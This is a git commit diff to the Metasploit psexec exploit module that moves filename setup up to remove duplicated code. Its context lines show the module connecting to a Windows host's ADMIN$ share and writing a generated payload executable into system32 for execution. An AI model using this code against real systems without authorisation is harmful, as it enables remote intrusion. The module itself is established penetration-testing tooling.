move filename init up to remove dup code

as suggested by @jlee-r7

Author: mubix

modules/exploits/windows/smb/psexec.rb

@@ -125,6 +125,8 @@ def exploit
 			report_auth_info(report_hash)
 		end
 
+		filename = datastore['SERVICE_FILENAME'] ? datastore['SERVICE_FILENAME'] : rand_text_alpha(8) + ".exe"
+
 		if datastore['MOF_UPLOAD_METHOD']
 			# payload as exe
 			print_status("Trying wbemexec...")
@@ -134,7 +136,6 @@ def exploit
 				return
 			end
 			simple.connect("ADMIN$")
-			datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
 			exe = generate_payload_exe
 			fd = smb_open("\\system32\\#{filename}", 'rwct')
 			fd << exe
@@ -153,7 +154,6 @@ def exploit
 			# Disconnect from the ADMIN$
 			simple.disconnect("ADMIN$")
 		else
-			datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
 			servicename = rand_text_alpha(8)
 
 			# Upload the shellcode to a file